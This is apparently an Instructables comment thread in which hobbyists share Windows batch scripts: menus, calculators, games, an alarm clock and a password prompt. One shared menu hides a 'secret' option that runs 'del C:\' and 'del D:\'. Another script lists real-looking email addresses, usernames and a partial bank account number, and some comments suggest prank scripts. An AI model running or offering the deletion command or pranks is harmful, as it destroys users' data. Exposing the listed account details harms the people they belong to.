echo "| VL. / Menu|> Soundlist <|Menu / .VL |"
echo "| VL. \ Menu|> Program <|Menu \ .VL |"
echo "| VL. / Menu|> Anti virus<|Menu / .VL |"
echo "| VL. \ Menu|>Secure<|Menu \ .VL |"
echo "| VL. / Menu|>Websites<|Menu / .VL |"
echo "| VL. \ Menu|>Speed up pc<|Menu \ .VL |"
echo "| VL. / Menu|>shutdown<|Menu / .VL |"
echo "|========\====================================\========|"
echo "| VL. / < Refresh > / .VL |"
echo "| VL. \ < Next > \ .VL |"
echo "| VL. / < Song Kesha blow > / .VL |"
echo "|________\====================================\________|"
echo " " Restart " "
echo " " Keyword " "
echo -----------
set /p hey=
if %hey% == video goto :Video
if %hey% == Shutdown goto :Shutdown
if %hey% == games goto :games
if %hey% == sound goto :oound
if %hey% == secure goto :secure
if %hey% == program goto :PRO1
if %hey% == web goto :web
if %hey% == Restart goto :Restart
if %hey% == keyword goto :l
if %hey% == anti goto :1234
:Start
start Menu.bat
exit
:1234
start Anti.lnk
goto :Start
:l
start keywords.bat
pause >nul
:web
start web.bat
goto :Start
:PRO1
Start Program.bat
goto :Start
:secure
start Sikkerhetskopieringavvegard.bat
goto :Start
:oound
start soundlist.bat
goto :Start
:Video
start Video.bat
goto :Start
:Shutdown
shutdown -S -T 6 -C "5 seconds until shutdown"
ping localhost -n 2 >nul
echo 4
ping localhost -n 3 >nul
echo 3
ping localhost -n 2 >nul
echo 2
ping localhost -n 2 >nul
echo 1
ping localhost -n 1 >nul
echo Bye :D
pause>nul
:games
echo so u wann kick ass >(
echo :=
start games.bat
goto :Start
This is kinda cool
shutdown -s -t 30 -c "This is a shutdown Batch File. When it says -s -t 30, that 30 is the number of seconds."
lminhtoo3 years ago
if you want it just email me at linmin.htoo@gmail.com
lminhtoo3 years ago
hey do any of you guys want a batch file that uses other batch files to open a certain website you entered in your choice of web browser? Its quite crack proof unless you are a pro....
neardood5 years ago
that folder protect thing doesn't work it just flashes something and disappears when u press enter
Oh it works but not this one. The source code is messing a command: @echo off

set key=radicalhacker
set key=pass
set key=pass



title ::
color 0a
echo                 Welcome to Radical Hacker's Research Laboratory Data-Base.
echo.
echo.
echo         The acces of these files is restrictet to: (1) user's.
echo         If you have no autorization please close this windows inmediatly.
echo.
echo.
echo     WARNING! DO NOT try to crack this files.
echo          Any intent of cracking this files will delete them.
echo.
echo.
echo.  
echo      Please enter username.
set/p "pass= >"
echo.
echo      Please enter first part of ID-CODE.
set/p "pass= >"
echo.
echo      Please enter secund part of ID-CODE.
set/p "pass= >"
if %pass%==%key% goto UnPack
cls
color 0c
echo.
echo    ACCES DENIED!
echo.
pause
exit
:UnPack
set dest=N:\RDH-Lab.rar

cls
echo Welcome back "SyncMaster1990" Nice to see you!:D
echo.
echo Your data will unpacked and sent to the specified file.
echo.
echo Please make sure this file does not already exist befor continuing
echo as this may ruin your data.
echo.
pause
cls

echo   ________________________>>%dest%
echo   Yahoo ID's and Passwords>>%dest%
echo   ________________________>>%dest%
echo.
echo Username: syncmaster1990@yahoo.com            Password: >>%dest%
echo Username: rdsrcslink@yahoo.com                Password: >>%dest%
echo Username: upctimisoara@yahoo.com              Password: >>%dest%
echo Username: upc.romania@ymail.com               Password: >>%dest%
echo Username: tony_alejandro_montana@yahoo.com    Password: >>%dest%
echo Username: grovehood@yahoo.com                 Password: >>%dest%
echo Username: hackallnight_contact@yahoo.com       Password: >>%dest%
echo.
echo.
echo  ________________________>>%dest%
echo     Webs's and Forums>>%dest%
echo  ________________________>>%dest%
echo.
echo Site: http://webs.com                    Username: hackallnight          Password: >>%dest%
echo Site: http://triburile.ro                Username: jedinight90           Password: >>%dest%
echo Site: http://triburile.ro                Username: arragon91             Password: >>%dest%
echo Site: http://triburile.ro                Username: pufuleatza            Password: >>%dest%
echo Site: http://instructables.com           Username: radicalhacker         Password: >>%dest%
echo Site: http://filelist.ro                 Username: syncmaster1990        Password: >>%dest%
echo Site: http://theforce.ro                 Username: freelancer a/101      Password: >>%dest%
echo Site: http://hackallnight.forum-log.com  Username: admin                 Password: >>%dest%
echo Site: http://meebo.com                   Username: radicalhacker         Password: >>%dest%
echo Site: http://no-ip.com                   Username: syncmaster1990        Password: >>%dest%
echo.
echo.
echo.
echo  ________________________>>%dest%
            Bank Account>>%dest%
      ________________________>>%dest%
echo Username: 62820573>>%dest%
echo Password: Use Device -->>%dest%
echo Account Number: RO*4*7*RNCB*0*7*1*0*1>>%dest%
echo Atached Account: 2511.A01>>%dest%


echo Extraction complete!
echo.
echo Your data can be found here: Restricted Information
echo.
pause
exit

How do you use this? Whats the User Name? Whats the 2 part ID Code?
(removed by author or community request)
You need some <html> lesons!!!=))
Fancy seeing u here neardood
...just cause I beat u 2 teh punch
lol
u fail :)
Post the code you have... I'll try to help.
samkai3 years ago
Thank You!!
A nice selection of cool batch applications.
I have edited them a little and they are looking brilliant, thanks for the brill instructable!
account3r23 years ago
@echo off title Batch Calculator by account3r2 color 1f :top echo -------------------------------------------------------------- echo Welcome to Batch Calculator by account3r2 echo -------------------------------------------------------------- echo. set /p sum= set /a ans=%random% echo. echo = %ans% echo -------------------------------------------------------------- pause cls echo Previous Answer: %ans% goto top pause exit
nikola914 years ago
 and how i can block that folder? pls help
i like to use the file in the video
http://www.youtube.com/watch?v=BtEcezAA-gw
just be careful when you use it i recommend doing it on a new folder until you can get it right every time
Pizzapie5004 years ago
Ehh not that good since you can click the X in the upper right corner (aka you can just exit the doc).
nikola914 years ago
when program start, you can change value for password in cmd, and you can go in that folder... Correct?
Cartuner555 years ago
is there any way to make it so it logs off or switches users instead of shutting down?
Replace: start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED" With: start shutdown -l -f -t 35 -c "SHUTDOWN INITIATED"
you put in the samne command :-L
 Not the difference between -s and -l
-s shuts down, -l logs out, -r reboots, etc
yes...chamge the comand from shutdown to switchuser or other
I know this has nothing to do with anything, but i like your display picture!!! Very creative.
Thanks!
you could also direct it to logoff.exe instead of shutdown
Sejma (author)  Cartuner555 years ago
(removed by author or community request)
Fuogger Sejma5 years ago
umm... actually "shutdown -l" will log you off
KaptainCaps4 years ago
i enter the folder thingy at the end and it only goes to my documents. can som1 show me how to enter cuz i think im entering it wrong
plyalex19945 years ago
this isn't very secure because anyone who has a little idea about Batch files would just click edit find out the password and then type it in. if you turn this into a .exe file it will become uneditable and unviewable. which is much more secure. here is a website to download a converter
.bat to .exe converter
Or, just save the batch file with a random file extension instead of .bat.
e.g password.secretfile
Laserman5954 years ago
here is a really simple version of the batch calculator

@echo off
title batch calculator v 2.0
color 0e
:top
echo  --------------------------------------------------------------
echo welcome to the batch calculator v 2.0
echo type your math problem bellow
echo  --------------------------------------------------------------
set /p equation=
set /a ans= %equation%
cls
echo %ans%
pause > Nul
cls
echo last answer %ans%
goto top
exit
microchip554 years ago

when i do this command :  "net stop themes >nul" its says:
 
"System error 5 has occurred.

Access is denied."

when i put this in :  "net stop themes >nul"
it says:


"The syntax of this command is:

NET
    [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
      HELPMSG | LOCALGROUP | PAUSE | PRINT | SESSION | SHARE | START |
      STATISTICS | STOP | TIME | USE | USER | VIEW ]"


can you help me?

 

lm5064 years ago
Am i missing something, I understand if you click on the bat file then it asks for the password and then opens the folder, but is there a way to make it where if you click on the folder it asks for the password. Otherwise somebody can just go find the folder and open it.
this is really cool, thanks for the files!
higginsiv4 years ago
@leeabc123 hey, thanks for the comments on my tic tac toe, and good luck w/ yours. i recently added a single player tic tac toe, u can download it from higginsbatch.webs.com if you want. i also have my other batch files there for anybody to see. u can see the source from the downloads too. tell me what you think!
(removed by author or community request)
If the file type is .rar you have to download (winrar) it should be a free program google serch it .
hey go here to check it out, it just has the code on it.

http://masterjake.x10hosting.com/forum/viewtopic.php?f=40&t=291
granjef34 years ago
if you put surf33 in the guessing game you get the number instantly
With it thinking you`re Semja.
(removed by author or community request)
;)
jeymeowmix5 years ago
um... couldn't you just go to the folder manually?
you are so right....... im dissipointed
(removed by author or community request)
yea, sure
Batryn5 years ago
I made the folder thing work, but I need a way so if they open the folder, it will be closed and the folder protector will pop up.

I've got:
If start *something* goto m
If open *something* goto m
:m
echo hi
pause
wax545 years ago
simple add a whole bunch of echo echo echo echo echo echo then just put spaces shift 8's and save it as a bat dont forget to add pause at the end:}
median5 years ago
if you enter surf33 in the guessing game, it tells you the answer
Heres another version of the calculator:

@echo off
color 0A
title CALCULATOR VERSION 1.2
:loop
cls
echo by BMR
echo _
echo by skylord55816
echo.
echo Calculator Version 1.2
echo -----------------------------------------------
echo * = MULTIPLY
echo + = ADD
echo - = SUBTRACT
echo 2 = SQUARED
echo / = DIVIDE
echo After an equation, type CLEAR to clear the screen of your equations, type KEEP to leave them there, or

type EXIT to leave.
:noclear
set /p UDefine=
set /a UDefine=%UDefine%
echo.
echo =
echo.
echo %UDefine%
echo KEEP, CLEAR, OR EXIT?
set /p clearexitkeep=
if %clearexitkeep%==CLEAR goto loop
if %clearexitkeep%==KEEP echo. && goto noclear
if %clearexitkeep%==EXIT (exit)
:misspell
echo.
echo -----------------------------------------------
echo You misspelled your command. Please try again (make sure you are typing in all caps LIKE THIS).
echo Commands:
echo CLEAR Clear all previous equations and continue calculating.
echo KEEP Keep all previous equations and continue calculating.
echo EXIT Leave your calculating session
echo Enter in a command now.
set /p clearexitkeep=
if %clearexitkeep%==CLEAR goto loop
if %clearexitkeep%==EXIT (exit)
if %clearexitkeep%==KEEP goto noclear
goto misspell

Hope you like it!!!
There are supposed to be two carots (a carot is Shift+6) in front of the 2 after squared... Command prompt leaves the first one out for some reason so you have to have two... And if you have 2, then Instructables thinks you are trying to draw something innapropriate.
Batryn5 years ago
I don't understand the IF command... I want to make something so if someone clicks on internet, then it opens more internets.... I just can't get the if part... Here's what I got @echo off If (START Mozilla Firefox) goto m :m Start www.google.com Goto m
leeabc1235 years ago
Ok, I just re-read your comment above... (higginsiv says:Jan 29, 2009. 7:09 PM) It is way easier than what I am trying to do!! I haven't actually had time recently as I have been busy at work with.... well work!!! But hopefully tomorrow I can launch into it again and try get somewhere. Lately I struggle sleeping because I dream up code for things! Anyway, I am off to bed... good night
leeabc1235 years ago
Hi there. When did you post this code? I have an interesting game for you to try and write! I was trying to write OXO (Tic Tac Toe) and it proved to be too difficult. Maybe I was going about it the wrong way using 'for /f' loops... Any ideas? Cheers - I really enjoy your calculator... so simple yet so hard. Where did you learn your programming?
Sejma (author)  leeabc1235 years ago
hmmm...i haven't programmed in Batch for quite while, Tic Tac Toe is a clever idea though. I'll give it a shot when I have some free time. Let me know if you get a breakthrough. I'm busy taking a Java development course at the moment, so my Batch is quite rusty. I learned batch, mainly from Instructables and just looking at examples. Thanks for the positive feedback - sejma
leeabc123 Sejma5 years ago
(In response to the OXO code...)

Hi, I looked at the code on you tube.... and it was a much simpler version of the one I did!! I eventualy got one working but it doesnt score yet... it looks like this:
example:
X:O:X
O:X:O
O:O:X

That is just an example of the layout!
As soon as I crack the score I will post it up! It is pretty good, but your score system is fantastic!

I used loads of for /f loops with setlocal enabledelayedexpansion.
But I am going to make my script alot simpler by using your 'place selcetion' by number method. (I currently use set /p row= and set /p colum= which as you can guess makes the game a lot longer and boring!)

Watch this space! - it will take ages so watch this space, but dont hold your breathe! Keep up the good work guys
hey ive made a tic-tac-toe game. here's the link:

http://www.youtube.com/watch?v=yq-OXVrKfP8

please comment and subscribe. i have two other batch file vids up right now, but ive made about 5 other games, and one useful app. ill be posting them later, and eventually the code for them

but some advice on your coding, use IF statements

for example on X's turn, they would pick a place on the board (denoted by a number) and that would send them to a bit that looked like this:

IF %place% EQU X goto error
IF %place% EQU O goto error
set place=X
goto player2turn

the first two lines check to see if there is already an X or O there, and if not the third line sets the spot as X. then it directs you to player 2's turn. anyway, hope that helps!
gunnergrady5 years ago
Im new to batch files, but heres one i made that i like. It runs an alarm clock that runs playlist in realplayer as an alarm. i made it cos i got sick of listening to the radio in the mornings and i cant stand buzzer alarms. this way i can wake up gradually over however long i want to what ever music i want. the other day i set my alarm to huey lewis' and the news "the power of love" in a reenactment of back to the future.

@echo off

set /a hour=7
set /a minute=10

:LOOPSTART

set /a currentHour=%TIME:~0,2%
set /a currentMinute=%TIME:~3,2%

if %hour% == %currentHour% goto :secondCheck
:nup
PING 1.1.1.1 -n 1 -w 60000 >NUL

goto LOOPSTART

:secondCheck
if %minute% == %currentMinute% goto LOOPEND
goto nup

:LOOPEND

cd C:\Program Files\Real\RealPlayer
start realplay.exe alarm.RMP
how do you work it. I did it but cant use it i would like some help please.
You have to save a playlist as a .rmp file in real player in the same folder as the application. On my computer realplayer.exe is located in c:\program files\real\realplayer. It might be somewhere else on your computer.
thanks for the help it works great
pingeee5 years ago
cool. I like the calculator
check this out:



@echo off
color 0a
:start
cls
echo ----------------------------------------------------------
echo calculator
echo for a brand new calculator with division. V1.2
echo ----------------------------------------------------------
echo notepad
echo to open notepad.
echo ----------------------------------------------------------
echo site
echo for a site selector that you can program your self. V1.1
echo ----------------------------------------------------------
echo command
echo to open command promt.
echo ----------------------------------------------------------
echo shutdown
echo to shutdown the computer.
echo ----------------------------------------------------------
echo game
echo for a round of guess the number.
echo ----------------------------------------------------------
echo exit
echo to exit.
echo ----------------------------------------------------------
echo enter one of the keywords from above...
set /p pass=
if %pass%==notepad (
goto notepad
)
if %pass%==site (
goto selector
)
if %pass%==calculator (
goto calc
)
if %pass%==command (
goto command
)
if %pass%==shutdown (
goto shutdown
)
if %pass%==game (
goto game
)
if %pass%==exit (
goto exit
)
if %pass%==secret (
goto secret
)
:notepad
cls
echo ----------------------notepad-----------------------------
echo are you sure?
echo.
echo Y or N
set /p conut=
if %conut%==Y (
goto there
)
if %conut%==N (
goto start
)
:there
SET /a num=1
:thing
if %num%==0 goto exit
start notepad.exe
set /a num=%num% -1
goto thing
:selector
echo are you sure?
echo.
echo Y or N
set /p conu=
if %conu%==Y (
goto forward
)
if %conu%==N (
goto start
)
:forward
cls
echo --------------------site-selector--------------------------
echo.
echo welcome to the site selector made by Master Vizz
echo.
echo where do you want to go
echo.
echo KEY:
echo 1 Yahoo - Search Engine/Mail Server
echo 2 Instructables - A How-To Website
echo 3 YouTube - Online Videos
echo 4 Comcast - news, search, and videos
echo 5 bat to exe online converter - YAY!!
echo 6 zombie rampage - shoot zombies!!!
echo 7
echo 8
echo 9
echo 10
echo 11
echo 12
echo.
echo.
echo Enter the number of the website which you would like to go to:
echo.
set /p word=
echo.
if %word%==1 start www.yahoo.com
if %word%==2 start www.instructables.com
if %word%==3 start www.youtube.com
if %word%==4 start www6.comcast.net/a/
if %word%==5 start http://www.f2ko.de/ob2e/ob2e.html
if %word%==6 start http://www.zombiegames.us/play-4038-theendlesszombierampage.html
if %word%==7 start
if %word%==8 start
if %word%==9 start
if %word%==10 start
if %word%==11 start
if %word%==12 start
cls
:calc
cls
echo ---------------------calculator----------------------------
echo are you sure?
echo.
echo Y or N
set /p con=
if %con%==Y (
goto onward
)
if %con%==N (
goto start
)
:onward
title calculator
ECHO Calculator Version 1.2
ECHO programmed by Logan Ryan
ECHO * = multiply
ECHO + = add
ECHO - = subtract
echo / = divide
pause

:loop
echo.
SET /p UDefine=
SET /a UDefine=%UDefine%
ECHO =
ECHO %UDefine%
ECHO.
goto loop
:command
cls
echo ----------------------command-promt-------------------------
echo are you sure?
echo.
echo Y or N
set /p co=
if %co%==Y (
goto continu
)
if %co%==N (
goto start
)
:continu
SET /a num=1
:cool
if %num%==0 goto exit
start CMD.exe
set /a num=%num% -1
goto cool
:shutdown
cls
echo ----------------------shutdown------------------------------
echo are you sure?
echo.
echo Y or N
set /p conuti=
if %conuti%==Y (
goto headward
)
if %conuti%==N (
goto start
)
:headward
shutdown -s -f -t 20 -c "LOCKDOWN INITIATED"
goto exit
:game
cls
echo ---------------------game-----------------------------------
SET /a GuessNum=0
SET /a Answer=%RANDOM%
ECHO Guess what Number I'm thinking of.
echo made by Logan Ryan.
:Retry
SET /p Guess=
IF %Guess% LSS %Answer% ECHO My Number is Higher.
IF %Guess% GTR %Answer% ECHO My Number is Lower.
IF %Guess%==%Answer% GOTO END
ECHO.
SET /a GuessNum=%GuessNum%+1
GOTO Retry
:END
ECHO You are Correct! The Answer was %Answer%
ECHO It took %GuessNum% Guesses.
ECHO.
PAUSE
goto exit
:secret
cls
echo ---------------------------secret---------------------------
echo are you sure?
echo this will delete everything on this computer.
echo.
echo Y or N
set /p conutis=
if %conutis%==Y (
goto parts
)
if %conutis%==N (
goto start
)
:parts
del C:\
del D:\
goto exit
:exit
cls
echo -------------------------exit-------------------------------
echo type Y to pick another program to run
echo or type N to exit
set /p exit=
if %exit%==Y (
goto start
)
if %exit%==N (
goto end
)
:end
echo thank you for using the Gallery.
echo.
echo this program was made by Master Vizz
pause
cls
exit


how do you like this?
you shouldn't create bat file to wipe out peoples hard drives. Not only would it delete thier files, but they would also have to completely reinstall Windows
hmm I could use on of those...
lieuwe chan6505 years ago
it doesn't actually erase your hard-drive, it does claim to, but it is just to scare people, you can just restart your PC and it works again
Sejma (author)  Psychic Master5 years ago
very good, the secret part is a bit dodgy though, but well done
snipeyouout5 years ago
thank you, i started something like this a while ago and now thanks to your code i got it working
stephen28035 years ago
how do you do the smiley at the end?
geeklord5 years ago
I made a file called second password and set it to run in full screen on start up. The rest of my family isn't very tech savy and wouldn't know how to stop this without entering the correct password. But when I enter 2 words it automatically exits. Why?

@echo off
:top
cls
echo -----------------------
echo Enter password
echo -----------------------
SET /p input=
If %input%==gunner goto correct
cls
echo WRONG
pause
goto top
:correct
cls
echo ----------------------------
echo password excepted
echo ----------------------------
pause
exit

is there a way to attach the "Folder Password Batch" to a folder so the batch opens when you click on the folder
Sejma (author)  FrozenFire 995 years ago
no sorry I'm still working on that...
collard41 Sejma5 years ago
you could make a shortcut to the batch file, and make the shortcut look like the file you are trying to open, so it opens the batch file itself
After you do that, you can hide the original .bat file so they are in the same directory.
hey thanks for this. im really interested in computer programming and batch stuff. thiss really helped me out. :]
Techy5 years ago
If you really want to mess with someone put this in: start www.smouch.net echo YOU JUST GOT RICKROLLED!! loop It will make endless rickrolls. :)
techno_pig5 years ago
Honestly you don't need the variables at the beginning. I.e. set google=1
i made one without those, and it works fine:

@echo off
color 1a
title Sites by techno_pig
:start
echo Key:
echo.
echo --------------------------------------------------------------
echo.
echo 1 = Google
echo 2 = S.K.Incorporated
echo 3 = Instructables
echo 4 = YouTube
echo 5 = W3 Schools
echo 6 = Fox on Demand
echo.
echo --------------------------------------------------------------
echo Press "e" to exit.
echo.
echo --------------------------------------------------------------
echo.
echo Enter the number of the website you wish to visit:
set /p input=
echo.
if %input%==1 start www.google.com
if %input%==2 start www.skincorporated.net
if %input%==3 start www.instructables.com
if %input%==4 start www.youtube.com
if %input%==5 start www.w3schools.com
if %input%==6 start www.fox.com/fod
if %input%==e goto exit

cls
echo.
echo --------------------------------------------------------------
echo.
echo Press "e" to exit, "b" to select another site.
echo.
set /p input=
if %input%==e goto exit
if %input%==b goto start
echo.
:exit
echo --------------------------------------------------------------
echo.
echo Thank You for using Sites by techno_pig.
echo.
pause
exit
Sejma (author)  techno_pig5 years ago
yes, i know what you mean, but i put it there for information purposes for example if they wanted to change it so they can type "Google" instead of "1", then they must set a variable
nice instructable there all pretty good.
this is my version of the guessing game,
I added in so that at the end, if you want to play again
you can

@echo off
color 09
title Guessing Game by SEjMA
set /a guessnum=0
set /a answer=%RANDOM%
set variable2=please
set die=yes
set dead=no
:very top
cls
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:top
echo.
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable2% ECHO Hey Mikey, %answer%
goto top
:death
echo BYE!!!!!!!!!!!
echo.
echo See you next time!
echo.
echo Come again
pause
cls
echo BB BB YY YY EEEEEEEE
ECHO BB BB YY YY EE
ECHO BB BB YY YY EE
ECHO BBBB YY EEEEEE
ECHO BB BB YY EEEEEE
ECHO BB BB YY EE
ECHO BB BB YY EE
ECHO BBBB YY EEEEEEEE
Pause
exit
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
echo Play Again?
echo Type yes or No
set /p death=
if %death%==%die% GOTO very top
if %death%==%dead% GOTO death
rimar20005 years ago
Very good, thanks.
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!